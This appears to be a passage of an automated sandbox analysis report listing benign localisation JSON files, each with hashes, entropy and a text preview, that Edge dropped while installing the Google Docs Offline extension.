Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..
